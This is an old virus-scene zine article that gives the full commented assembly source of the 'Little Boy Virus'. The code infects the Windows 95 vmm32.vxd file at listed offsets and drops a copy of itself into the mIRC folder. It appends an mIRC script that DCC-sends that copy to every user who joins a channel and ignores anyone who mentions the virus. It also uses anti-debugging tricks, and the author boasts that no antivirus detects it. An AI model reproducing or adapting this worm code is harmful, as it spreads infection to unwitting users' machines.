..o( Little Boy Virus (Y2K Version) )o....................[G9N-01.02].. : : : Brief Description: Stupid IA, Basic Desicions, Modules, asm, 16 bit,: : vmm32 n mIRC, may b new stuff may b a new coctail, chust LBV. : : G9N issue Date: May 2000 : : Author: The Spy : :.....................................................................: I think this 16 bit piece of code its like a pretty revival of DOS asm 16 bit codin... not really. As u can c 1077 bytes r enough n too much for this babe, but i think that an 1k irc worm its very cool. Some Words about Vmm32.vxd win95/98, Usefull Holes in vmm32.vxd: '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' U know that MS stinks a lot, so look into VMM32.vxd n search for some holes, like nulls, but something more interestin da 'DMPADMPADMPA...' holes, they r so pretty useful :) Chust check it. I ve only tested da spanish versions, but i know that english one, would ve da holes too, dont know in da same offsets, but, let me tell u that da some holes r compatibles with other version holes, so we ve a very nice place to fit inside. Oh yeah, let fuck vmm32 hehe. Remember that vmm32.vxd ve 16 bit code, if u can, read some book that can help u to understand what vmm32.vxd do. Ok, go! W95 Spanish Version: Offset 0001:129B ('DMPA') til 0001:356B so there r 8912 bytes (it finish in a 'D') n Offset 0001:356C (nulls) til 0001:3FFF so there r 2707 bytes Total consecutive bytes: 11619 also 0000:F14E to 0001:0177 r 4137 null bytes n other blanks. Code Segment 1: 400h to offset 971h there r 1392 bytes free. In LBV, EAF0050000 in offset 9EBh pass to 2EFF160001 to my code ;) W98 Spanish Version: Offset 0000:DF0E ('MPAD') til 0000:F6DD so there r 6095 bytes (it finish in a 'D') n Offset 0000:F6DE (nulls) til 0000:FFFF so there r 2337 bytes Total consecutive bytes: 8432 also 0000:B24C to 0000:C275 r 4137 null bytes n other blanks. The Spy, fuck u mocosoft ;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;, ; Little Boy Virus (Y2K Version) ; by The Spy ; Start codin: 20/02/2000 ; Finished codin: 08/03/2000 ; Size: 1077 bytes (It could b less but its an example of some things, ; includin da enormous space that da vmm32.vxd brings me!! :)) ; Its new, Its dirty, Itsssssssssuxs! hehe ; Y2K Compliant ;D hehehe ; For win95 only (Designed for 4.00.950 B) X`DDD ;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;, ; ; Da Borin Classic History: ; In da middle of 1995 i ve started codin a COM/EXE/SYS infector that ; i ve named littleboy cuz i will ve da payload in Aug 6th, 1995 in ; memory of da ppl that ve died for da atomic bomb in japan in 1945. ; I ve never finished it, n i want to bring littleboy virus back, now ; doin other things, like worm things, so here is it. ; ; New Version: 2000 ; New Description: ; - Infects da win95 vmm32.vxd n it modifies da c:\mirc\mirc.ini to ; send a copy of itself as boy95.com hehe :) ; - Anti-Debugging (las mismas boludeces de siempre :)) ; - Runtime Decide, Nop Module, Garbage Module, etc ;*- Implements my new encryption method (Carry Method) ]= NO TIME ]= ;*- Antidummie Check ]= NO TIME ]= ;*- Descamation ]= NO TIME ]= ;*? It Implements Vampirism ]= NO TESTED YET ]= ; - Payload: It uses da vmm32.vxd every run to show da string ; ; 'The Spy was here! :p' ; ;AVs Detections: ; ; - No one, of course. ; ; I know i ve not commented it as pretty well u want, but i want that ; u look in da source hehe, nice move ah? ;D ; Enjoy it :) ; ;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;, .286 ; a 286 runnin a win95/98? hahahaa so funny .model tiny .code org 100h play: pusha push cs pop ds ; cmp ax,bx ; what r u doin? ; jne avanzo ; cmp cx,dx ; jnz avanzo ; jmp Its_a_Dummie ; dont trace me! ;avanzo: mov ah,19h ; GET CURRENT DEFAULT DRIVE int 21h mov [curdriv],al; curdr:=al; ; mov ah,47h ; xor dx,dx ; lea si,curdire ; int 21h mov ah,0Eh ; SELECT DEFAULT DRIVE mov dl,2 ; 'C:' int 21h mov ah,3bh ; SET CURRENT DIRECTORY lea dx,barra ; '\' int 21h mov ah,3Dh ; OPEN EXISTING FILE lea dx,fname ; 'msdos.sys' int 21h ;; ;; ; Hey, im codin like a Mocosoft coder ; ; - Int 21h lover ;) ; ;; ;; mov bx,ax ; bx:=handle; mov ah,3fh ; READ FROM FILE OR DEVICE mov cx,50 ; bytes amount lea dx,bosta ; where r da bytes goin to? int 21h mov si,dx ; si -> bosta mov dx,'Dn' ; Wi'nD'ir ; xor cx,cx ; cx goes NULL lookfor: ; shl ax,8 ; Save da old char mov ah,al ; Save da old char lodsb ; Load da new char cmp dl,ah ; Its 'n' ? jz thatone ; Yes, it is ; cmp al,cl ; No, Its a null? jnz lookfor ; No, Look for a new char ; jmp Its_a_Dummie; Yes, there is no WinDir in msdos.sys thatone: cmp dl,ah ; Its 'D' ? jnz lookfor ; Nope, go for da new char add si,6 ; si ------------. ; 'WinDir=X:\' <-' ; lodsw ;ir ; lodsw ;=C ; lodsw ;:\ ; now si points to da string mov ah,3eh ; dont forget close da msdos.sys hehe ;P int 21h lea di,bosta ; choose recipient other: lodsb ; Load byte cmp al,0Dh ; Its 0Dh ? jz stop ; Yep, Ive finished movin bytes stosb ; Nope, Ive to copy jmp other ; go for another byte stop: lea si,barra ; .----. mov byte ptr[si+1],53h ; put da 'S' '\SYSTEM',0 ; I save a byte ;) overwritin da null movsw ; copy da '\SYSTEM',0 movsw movsw movsw movsb ; we need to place da null too mov ah,3bh ; SET CURRENT DIRECTORY lea dx,bosta ; WinDir + '\SYSTEM',0 int 21h jnc segui jmp Its_a_Dummie segui: mov ax,3D02h ;Open Read n Write lea dx,vmm32 ;File Name int 21h ;... jnc Infect_VMM32 ; jmp exit ;error? what? da system does not ve da ;vmm32.vxd ??? well, its not a w95/98 ;jumptome db 0EAh,00h,00h,00h,00h ;jumptohim db 0EAh,0F0h,05h,00h,00h callmeplz: call cs:0100h ; 2Eh,0FFh,16h,00h,01h ;why 100h ?, cuz 500h - 400h its emm.. 100h :) shit it works :D Infect_VMM32: mov ah,3Fh ;lets gonna read mov cx,32h lea dx,bosta int 21h cmp word ptr [bosta+14h],1707h ; i check if its w95 vmm32.vxd jz aja ; with da entry point jmp body ; if isnt, just getout this pc! aja: mov bp,20 bp_repeat: mov ax,4200h ;move file pointer from file's begining xor cx,cx ;0000: src: mov dx,0500h ;0500h int 21h ;DMPADMPADMPADMPADMPA..0000000000000000 mov ah,3Fh ;lets gonna read mov cx,50 lea dx,bosta int 21h cmp word ptr [bosta],0E60h ; i know, i know, its slow but jnz vamo ; if i place a check before da jmp body ; file grows too much to fit, ; so i must place da check into ; da bp_repeat loop DAMN! ; it works fine 8D! vamo: mov ax,4200h ;move file pointer from file's begining xor cx,cx ; inc cl ;0001: dst: mov dx,219Bh ;219Bh int 21h ;DMPADMPADMPADMPADMPA..0000000000000000 mov ah,40h ;lets gonna write mov cx,50 lea dx,bosta int 21h dec bp cmp bp,0 jz sigasiga add word ptr [src+1],50 add word ptr [dst+1],50 jmp bp_repeat sigasiga: mov ax,4200h ;move file pointer from file's begining xor cx,cx ;0000: mov dx,0500h ;0500h int 21h ;DMPADMPADMPADMPADMPA..0000000000000000 mov ah,40h ;lets gonna write mov cx,(endplay-play) ;what im goin to write??... lea dx,play ;initial point int 21h ;to write it mov ax,4200h ;move file pointer from file's begining xor cx,cx ;0000: mov dx,09EBh ;09EBh int 21h ;DMPADMPADMPADMPADMPA..0000000000000000 mov ah,40h ;lets gonna write mov cx,5 ;what im goin to write??... lea dx,callmeplz ;initial point int 21h ;to write it mov ah,3eh ; dont forget close da vmm32.vxd too... int 21h lea si,barra ; .----. mov byte ptr[si+1],00h ; put da null '\SYSTEM',0 mov ah,3bh ; SET CURRENT DIRECTORY lea dx,barra ; '\' int 21h ; mov ah,3bh ; SET CURRENT DIRECTORY ; lea dx,curdire ; dx -> curdire ; int 21h mov ah,0Eh ; SELECT DEFAULT DRIVE mov dl,[curdriv] ; dl:=curdriv; int 21h jmp body curdriv db 02h fname db 'msdos.sys',00h barra db '\',0 system db 'YSTEM',0 vmm32 db 'vmm32.vxd',00h bosta db 50 dup (00h) ;curdire db 64 dup (00h) Check_Dummie: ; No time, but im goin to code it in da future, i guess Its_a_Dummie: ; jmp exit body: cli in al,21h ; Keyboard Out or al,02h out 21h,al push ax ; Stack Check pop dx dec sp dec sp pop cx sti ; call delta ;delta: ; pop di ; add di,(behappy-delta+6); di:=offset behappy; cmp cx,dx ; its to meeeeee? jz behappy ; if cx=dx then im runnin ok mov al,90h ; else overwrite virus source with nops ; i know its a very old trick, but who ; cares? its pretty nasty, i like it :) chustloop: stosb ; put a fuckin nop call listop ; yeah kewl jmp chustloop ; go for da next one behappy: db 'THESPY' ; what da fuck r u doin? ;push sp ; 'T' ;dec ax ; 'H' ;inc bp ; 'E' ;push bx ; 'S' ;push ax ; 'P' ;pop cx ; 'Y' add sp,4 ; chust fix da stupid way to sign X`DDD Check_Residency: ; now its a joke ;D ;, ,;;;;;;;;;;;;;;;,;;;; TEST ONLY ;;;;,;;;;;;;;;;;;;;;, ,; ;;;,;;;,;;;;;;;;;;;;;;;;;;; Works Great! :D ;;;;;;;;;;;;;;;;;;;,;;;,;;; Decide_What_To_Do: ; Random Life hehehe, this virus belives in destiny ;D in ax,40h ; Some Veryveryvery Stupid IA (if i can say IA) add al,ah ; Chust da first step, i ve think more... wait! shr al,4 ; OK, chust test da first nibble bits test al,1 ; 1st bit jnz MN ; Nop_Module test2: test al,2 ; 2nd bit jnz MG ; Garbage_Module test4: test al,4 ; 4th bit jnz PS ; Set Payload n Make da next run execute MGifMN ; or if MGifMN then restore test8: test al,8 ; 8th bit jnz CC ; Create_COM jmp Exit ; Ok, now, get out of here MN: call Nop_Module jmp test2 MG: call Garbage_Module jmp test4 PS: mov byte ptr [payload],01h cmp word ptr [test2],9090h jz restore mov word ptr [test2],9090h ; i can optimize that but i jmp test8 ; think this way is more easy restore: ; to understand, so it is here mov word ptr [test2],02A8h jmp test8 CC: call Create_COM ; It will infect mIRC also jmp Exit ; Ok, now, get out of here Nop_Module: nopdup db 19 dup (90h) ret Garbage_Module: ; hehe, Garbage_Module? Shit_Module! X`DDD lea di,bullshit mov cx,8 luphere: in al,40h stosb dec cx jnz luphere ret bullshit: damn db 9 dup (?) Create_COM: mov ah,3bh ; SET CURRENT DIRECTORY lea dx,mircdir ; 'c:\mirc' int 21h jc strike3 mov ah,3Ch ; create a .com to send via irc xor cx,cx ;... lea dx,comname int 21h jc strike3 xchg ax,bx ; bx=handle mov ah,40h ;lets gonna write mov cx,(endplay-play) ;what im goin to write??... lea dx,play ;initial point int 21h ;to write it mov ah,3Eh ; dont forget close da boy95.com int 21h Infect_Mirc_Ini: lea si,mircini ; im savin a whole total of mov byte ptr [si-1],'m' ; 2 enormous bytes with this move X) mov ax,3D02h ;Open Read n Write lea dx,mircdir ;File Name int 21h ;... jc strike3 ; damn! ive decide to dont create a new ; mirc.ini, i think we must not say ; 'Hello! im here!' so easy. xchg ax,bx ; bx=handle mIRC_Ini_Infection_Check: mov ax,4202h ;to da end of da file xor cx,cx xor dx,dx int 21h xchg dx,ax ;cx:dx=filesize mov ax,4200h ;to da end of da file-6 sub dx,6 int 21h mov ah,3Fh ; read 2 bytes mov cx,2 lea dx,mircdir ; Use it, anyway it will no affect nothing int 21h mov ax,'ci' ; checks for $n'ic'k well, it so shitty, but cmp word ptr [mircdir],ax ; who da fuck cares? je strike3 mov ax,4202h ;to da end of da file xor cx,cx xor dx,dx int 21h mov ah,40h ; write da script mov cx,ak-script lea dx,script int 21h mov ah,3Eh ; close da file int 21h strike3: ret ; ret to da decision module mircdir db 'c:\mirc\',0 mircini db 'irc.ini',0 comname db 'c:\mirc\boy95.com',0 script db 13,10,'[script]',13,10 n0 db 'n0=; Little Boy Virus (Y2K Version) The Spy',13,10 n1 db 'n1=ON 1:JOIN:#:{ /if ( $nick != $me )' db ' { /dcc send $nick $mircdirboy95.com | ' db '/ignore $nick }',13,10 n2 db 'n2=ON 1:TEXT:*boy95*:*:/ignore $nick',13,10 n3 db 'n3=ON 1:TEXT:*LittleBoy*:*:/ignore $nick',13,10 n4 db 'n4=ON 1:TEXT:*LBV*:*:/ignore $nick',13,10 n5 db 'n5=ON 1:TEXT:*infect*:*:/ignore $nick',13,10 zero db 0 ak: ; im abusin of labels so dont tell that i dont refernce ; clearly :] ;Infect_Pirch: ;u sure? well not implemented ;Infect_PE: ;da pe dos stub infection, nah ;Generate_SCR: ;n put it in \mirc\download, TSVT isnt finished, so wait listop: ; why???? ret ; cuz when ret became nop, it will exit, hehee Exit: lea si,payload ; Check for payload xor bx,bx ; bx=00h inc bl ; bx=01h cmp byte ptr[si],bl ;01h jnz GetOutNow ; if not payload then exit; shl bx,4 ; bx=10h sub si,bx ;10h, now si points to author shl bx,1 ; bx=20h mov byte ptr[si],bl ;20h, now put a space over da '$' mov ax,0900h ; thats my way lea dx,autor int 21h GetOutNow: in al,21h ; Keyboard In and al,not 2 out 21h,al mov ax,3D02h ;Open Read n Write lea dx,vmm32 ;File Name int 21h ;... mov ax,4200h ;move file pointer from file's begining xor cx,cx ; inc cl ;0001: mov dx,219Bh ;219Bh int 21h ;DMPADMPADMPADMPADMPA..0000000000000000 mov ah,3Fh ; lets gonna read mov cx,1050 mov dx,0100h int 21h mov ah,3Eh int 21h popa ret Virus db 'Little Boy Virus$' Autor db 'The Spy$' ; 2da vz, pa los AVers idiotas db 'was here! :p$' VirSize db 0000h ; for compatibility VirBody db 00h ; like MS systems, u know Payload db 00h endplay: end play